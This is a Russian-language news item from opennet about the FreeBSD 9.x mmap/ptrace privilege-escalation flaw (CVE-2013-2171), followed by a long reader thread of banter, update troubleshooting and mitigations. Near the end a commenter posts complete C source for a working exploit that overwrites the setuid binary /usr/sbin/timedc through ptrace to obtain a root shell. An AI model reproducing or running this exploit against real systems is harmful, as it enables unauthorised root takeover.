Во всех выпусках FreeBSD 9.x выявлена (http://lists.freebsd.org/pipermail/freebsd-announce/2013-Jun...) уязвимость в реализации виртуальной памяти, при успешной эксплуатации позволяющая локальному злоумышленнику повысить свои привилегии в системе. Для эксплуатации уязвимости атакующий должен иметь возможность выполнения произвольного кода с пользовательскими привилегиями. Проблема может привести к неавторизированной модификации произвольного файла к которому атакующий имеет доступ на чтение, но в обычных условиях не имеет доступа на запись.
Ошибка связана с отсутствием должных проверок доступа при трассировке приложений. В частности, процесс осуществляющий трассировку (например, отладчик) может получить права доступа к областям памяти трассируемого процесса, к которым у самого трассируемого процесса нет доступа (например, используя mmap для доступного только на чтение файла, можно получить доступ на запись к связанным с данным файлом областям памяти). Всем пользователям FreeBSD 9.x рекомендуется как можно скорее произвести обновление системы до 9.1-RELEASE-p4 или 9.1-STABLE.URL: http://lists.freebsd.org/pipermail/freebsd-announce/2013-Jun...
Новость: http://www.opennet.me/opennews/art.shtml?num=37206
эх, хорошо всё-таки, что не побежал обновляться до 9 :)
Можно подумать, что это очень сложно.
долго пересобирать, если нету ip-kvm то это IMPOSSIBRU!
>> если нету ip-kvm то это IMPOSSIBRU!Если нету ip-kvm то НЕТУ И ЛОКАЛЬНЫХ ПОЛЬЗОВАТЕЛЕЙ ! :) :) :)
Ну да, а демоны у вас под какими пользователями работают? Сразу под рутом, чтобы хацкерам даже мучаться с дырками не надо было? :)
Вы читаете то, что комментируете?
Я имею ввиду описание уязвимости.
> Я имею ввиду описание уязвимости.Да, и там написано:
> Для эксплуатации уязвимости атакующий должен иметь возможность выполнения произвольного
> кода с пользовательскими привилегиями.Для тех кто на бронепоезде (бсдшники, то-бишь), поясняю: локальный пользователь - только в том плане что это не ремотное поимение по сети, а "лишь" "локальным" кодом выполняемым на машине. А как именно залогинен пользователь, через KVM или там как демон какой-то - да пофигу скорее всего. А что, есть какая-то большая разница откуда трассировочные вызовы дергать? Очень сомнительно.
Хотя, если вам хочется публично лохануться, показав всему миру что вы дуб дубом и не понимаете что такое системные вызовы и как это работает - окей, nice try!
Вос-с-спидя...
От ты ты дурачок сельскохозяйственный...
Да, наверное рассаду у вас лучше будет получаться выращивать. Самокритика засчитана.
> Если нету ip-kvmТы пропустил:
"", нет запущенных сетевых сервисов, нет ключа от серверной, нет <...я.тоже.чего-то.пропустил...>
> то НЕТУ И ЛОКАЛЬНЫХ ПОЛЬЗОВАТЕЛЕЙ ! :) :) :)
И главное - питание к серваку не подключать!
запущенный сетевой сервис — системный процесс, а не «локальный пользователь»?
> запущенный сетевой сервис — системный процесс, а не «локальный пользователь»?И чем он отличается в плане дергания сисколов от процессов "локального пользователя" к которому вы прикопались?
хорошо что ее нашли и исправили, а там уже как хочешь так и обновляйся или нет, уязвимость то локальная
Но может быть реализована через другую уязвимость.
было б странно, если б нашли и не исправили
> и обновляйся или нет, уязвимость то локальнаяАга, только это заканчивается тем что через вебню сначала хаксор просто вламывается и получает права пользователя. Потом апгрейдит их через что-то такое до рута. А потом ищи его свищи, когда там руткит половину сисколов переколбасил...
да уж блиинннннн - ужас!!!! МОЖНО ПОДУМАТЬ ВАС АТАКУЮТ КАЖДЫЙ ДЕНЬ!, СМЕХ ДА И ТОЛЬКО
Думать что тебя не атакуют каждый день - это раздолбайство. Атакуют. Каждый день.
> да уж блиинннннн - ужас!!!! МОЖНО ПОДУМАТЬ ВАС АТАКУЮТ КАЖДЫЙ ДЕНЬ!, СМЕХ
> ДА И ТОЛЬКОесли бы у тебя стояли хоть какие-то сервера на бсд и ты умел читать логи (я понимаю, что это два совершенно невероятных предположения), то ты узнал бы много интересного.
> МОЖНО ПОДУМАТЬ ВАС АТАКУЮТ КАЖДЫЙ ДЕНЬ!Если бы у тебя был сервер вывешенный в интернет и ты умел читать логи, ты бы узнал очень много интересного на этот счет.
> Всем пользователям FreeBSD 9.x рекомендуется как можно скорее произвести обновление системы до 9.1-RELEASE-p4 или 9.1-STABLE.спасибо, так и сделаю
Точно, пока ночь, надо машинку перезагрузить.
И где взять?../release/9.1.0/ и ../releng/9.1/
и там, и там — МУСОР.Как это уже было при переносе портов с CVS на SVN.
Ща та же красота в BASE :)
В SVN — мусор, в CVS — ТОЖЕ МУСОР :)Получить -p4 низзя :)
freebsd-update? не?
>> freebsd-update? не?да, но это НЕ ПОПС.
Хотелось бы сдуть древо /usr/src
> Хотелось бы сдуть древо /usr/srcА что, rm у вас сломался? :)
releng/9.1
там не мусор, там код, если чо. и да, -p4. я проверилr251903 | des | 2013-06-18 10:05:51 +0300 (вт, 18 июн 2013) | 9 lines
Changed paths:
M /releng/9.1/UPDATING
M /releng/9.1/sys/conf/newvers.sh
M /releng/9.1/sys/vm/vm_map.cFix a bug that allowed a tracing process (e.g. gdb) to write
to a memory-mapped file in the traced process's address space
even if neither the traced process nor the tracing process had
write access to that file.Security: CVE-2013-2171
Security: FreeBSD-SA-13:06.mmap
Approved by: so
p.s. а в base (head) запихали svn[lite] и вынесли cvs :)
> releng/9.1
> там не мусор, там код, если чо. и да, -p4. я проверил
> r251903 | des | 2013-06-18 10:05:51 +0300 (вт, 18 июн 2013) |
> 9 lines
> Changed paths:
> M /releng/9.1/UPDATING
> M /releng/9.1/sys/conf/newvers.sh
> M /releng/9.1/sys/vm/vm_map.cИ вы знаете, — Я В КУРСЕ :) :) :)
Осталось НЕ РУЧКАМИ сдуть эти изменения в /usr/srcА в SVN — именно МУ СОР
Ибо ни команда
svn co svn://svn.freebsd.org/base/releng/9.1/ /usr/src
ни команда
svn co svn://svn.freebsd.org/base/release/9.1.0/ /usr/srcнабузыпив по мильену строк в /usr/src/.svn, — НЕ обновляют вот этих три
> M /releng/9.1/UPDATING
> M /releng/9.1/sys/conf/newvers.sh
> M /releng/9.1/sys/vm/vm_map.c
>> releng/9.1
>> там не мусор, там код, если чо. и да, -p4. я проверил
>> r251903 | des | 2013-06-18 10:05:51 +0300 (вт, 18 июн 2013) |
>> 9 lines
>> Changed paths:
>> M /releng/9.1/UPDATING
>> M /releng/9.1/sys/conf/newvers.sh
>> M /releng/9.1/sys/vm/vm_map.c
> И вы знаете, — Я В КУРСЕ :) :) :)
> Осталось НЕ РУЧКАМИ сдуть эти изменения в /usr/srcну, если вместо того, чтобы узнать о существовании update, ну и вообще научиться пользоваться vcs, тренировать пальцы набирая смайлики... то да, "мусор"
> А в SVN — именно МУ СОР
> Ибо ни команда
> svn co svn://svn.freebsd.org/base/releng/9.1/ /usr/src
> ни команда
> svn co svn://svn.freebsd.org/base/release/9.1.0/ /usr/srcособенно доставила вторая попытка "обновиться" до -p4 из release/9.1.0. что, на лыссяре нет хаутушек как работать с svn и это делает тебя грустной пандой ?
> Ошибка связана с отсутствием должных проверок доступа при трассировке
> приложений. В частности, процесс осуществляющий трассировку (например,
> отладчик) может получить права доступа к областям памяти трассируемого
> процесса, к которым у самого трассируемого процесса нет доступаФеерично, чо. А у "лyноходов" даже в бyбунте обычной - тот кто не рут просто не может трейсить процессы, ибо постоянный источник проблем.
Вот как-то так и получается что ламерская бyбунта - секурнее пальцатой фрибзды. Чудеса, да? :)
sysctl security.bsd.unprivileged_proc_debug=0 ы?
нельзя же так срезать :) недавно как раз в linux была дыра которая позволяла обходить ограничения ptrace.. и которую никак не закрыть через sysctl..
> нельзя же так срезать :) недавно как раз в linux была дыра
> которая позволяла обходить ограничения ptrace.. и которую никак не закрыть через
> sysctl..Нудк, теперь она есть и в твоей уютненькой.
> Нудк, теперь она есть и в твоей уютненькой.Портировали сволочи! И как всегда с опозданием.
> Портировали сволочи! И как всегда с опозданием.Вопрос то не в портировании а в дефолтах. Вот ты при установке системы всегда прописываешь это? Нет? Тогда хренли толку с этого sysclt, если 90% обормотов которые пользуют BSD узнали о его существовании из этого поста? :)
> нельзя же так срезать :) недавно как раз в linux была дыра
> которая позволяла обходить ограничения ptrace.. и которую никак не закрыть через sysctl..Дядь, если ты не рут и пытаешься ptrace() - тебя просто сразу же и заворачивают. Совсем. Как это обойти то можно? :)
> sysctl security.bsd.unprivileged_proc_debug=0 ы?Только у бyбунтоидов и прочих это по дефолту. А у вас - думаете, нагуалы, тигары и прочие изены дотумкают это сделать без посторонней подсказки? Давайте поспорим что у них это не прописано и дырка эталонно работает, а? :)
на что спорить будем?O.T. Мишенька, ты снова заболел, нельзя так, Шигорин.
> нельзя же так срезать :) недавно как раз в linux была дыра которая позволяла обходить ограничения ptrace.. и которую никак не закрыть через sysctl..вообще то легко лечилась правкой sysctl ;)
# sysctl kernel.perf_event_paranoid=2
Вообще-то не лечилось.
ну и где сейчас фря и где линукс?
на серверах. ну и лялих на дескттопах. немножко.
> на серверах.на всех четырёх!
>> на серверах.
> на всех четырёх!На 24х... Ну лично у меня. А у вас я не знаю как там. Собственно тонко подвожу вас к тому, что понимание происходящего в объективной реальности ограничено исключительно вашими же представлениями о нем.
а я намекаю, что по сравнению с пингвинусом разница между четырьмя, двадцатью четырьмя, двухсот сорока четырьмя — неразличима.
> а я намекаю, что по сравнению с пингвинусом разница между четырьмя, двадцатью
> четырьмя, двухсот сорока четырьмя — неразличима."двумястами сорока четырьмя" так-то) И вообще люди, что делают выбор в пользу использования (именно использования) Фряхи на серверах наверняка не только мониторят известия о найденых уязвимостях, но и не имеют проблем с sysctl'ами.
> «двумястами сорока четырьмя» так-то)да, виноват. с местными грамотеями уже и Ў скоро буду с тремя ошибками писать.
ЎX - новое обозначение для User eXperience :)
> На 24х... Ну лично у меня.Думаете, ваши 24 сервака делают погоду на фоне миллионов? А большие конторы уже более-менее усвоили что жрать кактус смысла мало, при наличии более съедобных и удобных альтернатив.
Отучаемся говорить за всех.
> Отучаемся говорить за всех.А что - всех? За них статистика уже все сказала.
>Миллионы мух не могут ошибатьсяПростите, не удержался
>>Миллионы мух не могут ошибаться
> Простите, не удержалсяА теперь на то, что ты "не удержался", слетится "миллионы мух". Родители не учили, что общественном месте нужно "удерживаться"?
> Вообще-то не лечилось.если руки кривые, то не лечилось ;)
У кого-то мозги кривые. Обход этой настройки требовал исправления всего 1 байта в исходном коде сплойта.
/*
* FreeBSD 9.{0,1} mmap/ptrace exploit
*
* Happy Birthday FreeBSD!
* Now you are 20 years old and your security is the same as 20 years ago... :)
*
*/#include <err.h>
#include <errno.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/wait.h>#define SH "/bin/sh"
#define TG "/usr/sbin/timedc"int
main(int ac, char **av) {
int from_fd, to_fd, status;
struct stat st;
struct ptrace_io_desc piod;
char *s, *d;
pid_t pid;if (geteuid() == 0) {
setuid(0);
execl(SH, SH, NULL);
return 0;
}printf("FreeBSD 9.{0,1} mmap/ptrace exploit\n");
if ((from_fd = open(av[0], O_RDONLY)) == -1 ||
(to_fd = open(TG, O_RDONLY)) == -1)
err(1, "open");
if (stat(av[0], &st) == -1)
err(2, "stat");if (((s = mmap(NULL, (size_t)st.st_size, PROT_READ,
MAP_SHARED, from_fd, (off_t)0)) == MAP_FAILED) ||
(d = mmap(NULL, (size_t)st.st_size, PROT_READ,
MAP_SHARED|MAP_NOSYNC, to_fd, (off_t)0)) == MAP_FAILED)
err(3, "mmap");if ((pid = fork()) == -1)
err(4, "fork");if (!pid) {
if (ptrace(PT_TRACE_ME, pid, NULL, 0) == -1)
err(5, "ptraceme");return 0;
}if (ptrace(PT_ATTACH, pid, NULL, 0) == -1)
err(6, "ptattach");if (wait(&status) == -1)
err(7, "wait");piod.piod_op = PIOD_WRITE_D;
piod.piod_offs = d;
piod.piod_addr = s;
piod.piod_len = st.st_size;if (ptrace(PT_IO, pid, (caddr_t)&piod, 0) == -1)
err(8, "ptio");execl(TG, TG, NULL);
return 0;
}
> * Now you are 20 years old and your security is the same as 20 years ago... :)Дожили, секурити фрибзды троллят даже в эксплойтах :)
>> * Now you are 20 years old and your security is the same as 20 years ago... :)
> Дожили, секурити фрибзды троллят даже в эксплойтах :)На то ж они и тролли, чтоб троллить, а не находить эти уязвимости. И тем более не устранять)
> На то ж они и тролли, чтоб троллить, а не находить эти
> уязвимости. И тем более не устранять)Для того чтобы констатировать что "жрачка-дрянь!" совершенно не обязательно иметь квалификацию шеф-повара.
>> На то ж они и тролли, чтоб троллить, а не находить эти
>> уязвимости. И тем более не устранять)
> Для того чтобы констатировать что "жрачка-дрянь!" совершенно не обязательно иметь квалификацию
> шеф-повара.привыкшим жрать исключительно говно^W^W^Wпользоваться только линаксом (убунту?) совсем не обязательно видеть что-то отличное от, чтобы орать "жрачка-дрянь!" да.
типичный луноход детектед. копирайты вырезаны, оригинальный линк не приведен. сделаю это за тебя, не благодари:
http://seclists.org/fulldisclosure/2013/Jun/161
и да, псто откуда ты с3.14здил эксплоит (а чо свой копирайт не поставил-то?;)) от 19го, а закрыли дыру 18го.
Всегда говорил: FreeBSD - Серверная платформа. Мастдай, и прочая хня - от лУКАВОГО. А локальная уязвимость... Так нех... пускать на сервер юзверей :)
> Всегда говорил: FreeBSD
>Так нех... пускать на сервер юзверей :)И IP соединеия снаружи. И соединеия *наружу*. И электричество из _сети_. </fbsd security>